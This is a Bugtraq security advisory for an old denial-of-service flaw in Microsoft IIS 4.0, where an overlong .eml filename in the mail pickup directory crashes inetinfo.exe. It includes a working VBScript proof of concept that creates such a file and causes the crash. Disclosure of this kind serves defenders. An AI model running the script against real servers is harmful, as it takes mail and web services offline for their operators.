Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

Bugtraq ID:	1819
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2000-0167
Remote:	Yes
Local:	Yes
Published:	Feb 15 2000 12:00AM
Updated:	Jul 11 2009 03:56AM
Credit:	Posted to NTBugtraq on February 15, 2000 by Valentijn <[email protected]>.
Vulnerable:	Microsoft IIS 4.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Call Manager 3.0 + Cisco Call Manager 3.0 + Cisco Call Manager 2.0 + Cisco Call Manager 2.0 + Cisco Call Manager 1.0 + Cisco Call Manager 1.0 + Cisco ICS 7750 + Cisco ICS 7750 + Cisco IP/VC 3540 Video Rate Matching Module + Cisco IP/VC 3540 Video Rate Matching Module + Cisco Unity Server 2.4 + Cisco Unity Server 2.4 + Cisco Unity Server 2.3 + Cisco Unity Server 2.3 + Cisco Unity Server 2.2 + Cisco Unity Server 2.2 + Cisco Unity Server 2.0 + Cisco Unity Server 2.0 + Cisco uOne 4.0 + Cisco uOne 4.0 + Cisco uOne 3.0 + Cisco uOne 3.0 + Cisco uOne 2.0 + Cisco uOne 2.0 + Cisco uOne 1.0 + Cisco uOne 1.0 + Hancom Hancom Office 2007 0 + Hancom Hancom Office 2007 0 + Microsoft BackOffice 4.5 + Microsoft BackOffice 4.5 + Microsoft Windows NT 4.0 Option Pack + Microsoft Windows NT 4.0 Option Pack
Not Vulnerable:

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

Valentijn <[email protected]> has provided the following sample script:

<example script>

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: [email protected]"
Thefile.writeline "X-Receiver: [email protected]"
Thefile.writeline "From: <[email protected]>"
Thefile.writeline "To: <[email protected]>"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " & now()
Thefile.writeline "X-Generator: " & Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password & chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

</example script>

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

References:

• Crashing Inetinfo.exe by using a longfilename in the \mailroot\pickup directory (NTBugtraq)